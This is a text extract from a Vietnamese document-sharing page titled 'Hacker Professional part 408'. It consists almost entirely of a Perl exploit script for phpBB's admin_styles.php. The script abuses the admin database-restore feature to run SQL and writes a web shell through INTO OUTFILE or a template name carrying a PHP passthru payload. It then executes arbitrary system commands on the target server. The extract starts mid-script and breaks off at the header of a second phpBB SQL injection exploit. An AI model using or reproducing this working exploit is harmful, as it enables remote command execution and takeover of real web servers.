Hacker Professional part 408

Chia sẻ: Angel Smile | Ngày: | Loại File: PDF | Số trang:6

Thêm vào BST

Báo xấu

44
lượt xem 6
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

Tham khảo tài liệu 'hacker professional part 408', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả

Chủ đề:

Bình luận(0) Đăng nhập để gửi bình luận!

Lưu

Nội dung Text: Hacker Professional part 408

if($cmd eq 'clear') { &show_header; print "-----------------------------------------------------------------------------------\n"; print "[~] Clearing database ... "; $sql = 'DELETE FROM `'.$prefix.'themes` WHERE style_name="" AND template_name="";'; $suc = &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql); if(!$suc) { print " [ FAILED ]\n"; exit(); } if($suc == 1) { print " [ DONE ]\n"; } print "-----------------------------------------------------------------------------------\n"; exit(); } if($cmd eq 'create' && $method == 1) { &show_header; print "-----------------------------------------------------------------------------------\n"; print "[!] Method 1 - use \"INTO OUTFILE\"\n"; print "[!] Create file for including.\n"; print "[~] Try to run sql query in database..."; $sql = 'SELECT \'\' FROM '.$prefix.'users LIMIT 1 INTO OUTFILE \''.$dir.$filename.'\';'; $suc = &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql); if(!$suc) { print " [ FAILED ]\n"; exit(); } if($suc == 2) { print " [ DONE ]\n[!] File already exists! Now you can try execute command!\n"; } if($suc == 1) { print " [ DONE ]\n[+] File successfully created! Now you can try execute command!\n"; } print "-----------------------------------------------------------------------------------\n"; exit(); } if($cmd eq 'get_prefix') { &show_header; print "-----------------------------------------------------------------------------------\n"; print "[~] Try to get prefix ..."; $res = $xpl->get(
"${path}admin_db_utilities.php?perform=backup&additional_tables=&backup_ty pe=structure&drop=0&backupstart=1&gzipcompress=0&startdownload=1&sid=$s id" ); if($res->is_success && $res->content =~ /(TABLE: )(.*)(auth_access)/) { $prefix = ($2)?($2):("No prefix"); print "[ DONE ]\nPREFIX : $prefix\n"; } else { print "[ FAILED ]\n"; } print "-----------------------------------------------------------------------------------\n"; exit(0); } if($cmd eq 'create' && $method == 2) { &show_header; print "-----------------------------------------------------------------------------------\n"; print "[!] Method 2 - use \"create\\export style\"\n"; print "[~] Try to run sql query in database ..."; $sql = 'ALTER TABLE `'.$prefix.'themes` CHANGE `template_name` `template_name` VARCHAR( 255 ) NOT NULL;'; $suc = &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql); if(!$suc) { print " [ FAILED ]\n"; exit(); } if($suc == 1) { print " [ DONE ]\n"; } print "[~] Creating new style ..."; $res = $xpl->post( "${path}admin_styles.php?sid=$sid", [ 'style_name' => '0wn', 'template_name' => 'a=12;passthru($_POST[jagajaga]);exit(0);//'.$dir, 'mode' => 'create', 'submit' => 'Save Settings' ], ); if($res->is_success){ print " [ DONE ]\n[~] Creating file ..."; } else { print " [ FAILED ]\n"; exit(0); } $res = $xpl->post(
"${path}admin_styles.php?sid=$sid", [ 'export_template' => 'a=12;passthru($_POST[jagajaga]);exit(0);//'.$dir, 'mode' => 'export', 'edit' => 'Submit' ], ); if($res->is_success) { print " [ DONE ]\n[+] File successfully created! Now you can try execute command!\n"; } else { print " [ FAILED ]\n"; exit(0); } print "[~] Delete style from database ..."; $sql = 'DELETE FROM `'.$prefix.'themes` WHERE style_name="0wn";'; &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql); print " [ DONE ]\n"; print "-----------------------------------------------------------------------------------\n"; exit(0); } $jagajaga = 'echo _GHC/RST_ '; $jagajaga .= $cmdspl; $jagajaga .= $cmd; $jagajaga .= $cmdspl; $jagajaga .= ' echo _GHC/RST_'; $res = $xpl->post( "${path}admin_styles.php?mode=addnew&sid=${sid}&install_to=${dir}", [ 'jagajaga' => "$jagajaga" ] ); &show_header; if($res->content =~ /main: Failed opening/) { print "[-] Error!\nFailed include file! Maybe you forgot create shell file first?\n"; exit(); } @rez = split("_GHC/RST_",$res->content); print "-----------------------------------------------------------------------------------\n"; print @rez[1];
print "-----------------------------------------------------------------------------------\n"; sub usage(){ print "-----------------------------------------------------------------------------------\n"; print " phpBB admin_styles.php command execution exploit by 1dt.w0lf\n"; print "-----------------------------------------------------------------------------------\n"; print "Usage: $0 [options]\n"; print "\nOptions:\n\n"; print " -p path to phpBB admin interface e.g. http://site.com/phpBB/admin/\n\n"; print " -s admin sid ... yeeesss you need admin rights for use this exploit =)\n\n"; print " -P database prefix (optional) default \"phpbb_\"\n\n"; print " -c [create|clear|get_prefix|(any unix/win command)]\n\n"; print " \"create\" for first create shell *default\n"; print " \"clear\" for delete our NULL styles from database\n"; print " \"get_prefix\" get table prefix\n"; print " \"any unix or win commands\" for commands execute =)\n\n"; print " -m method [1|2] (optional) default \"2\"\n\n"; print " 1 - use mysql function \"INTO OUTFILE\" for creating new file\n"; print " 2 - use phpBB functions \"create style\" and \"export style\" for create new file\n"; print "-----------------------------------------------------------------------------------\n"; print " RST/GHC private stuff , http://rst.void.ru , http://ghc.ru\n"; exit(); } sub show_header() { print "-----------------------------------------------------------------------------------\n"; print " phpBB admin_styles.php command execution exploit by RST/GHC\n"; print "-----------------------------------------------------------------------------------\n"; } sub phpbb_sql_query($$){ $res = $xpl->post("$_[0]", Content_type => 'form-data', Content => [ perform => 'restore', restore_start => 'Start Restore',
backup_file => [ undef, '0wneeeeedddd', Content_type => 'text/plain', Content => "$_[1]", ], ] ); if ($res->is_success) { if ($res->content =~ /already exists/) { return 2; } if ($res->content =~ /The Database has been successfully restored/) { return 1; } } return 0; } black_hat_cr(HCE) phpbb 3.x sql injection (with global moderator rights) #!/usr/bin/php -q -d short_open_tag=on
works regardless of php.ini settings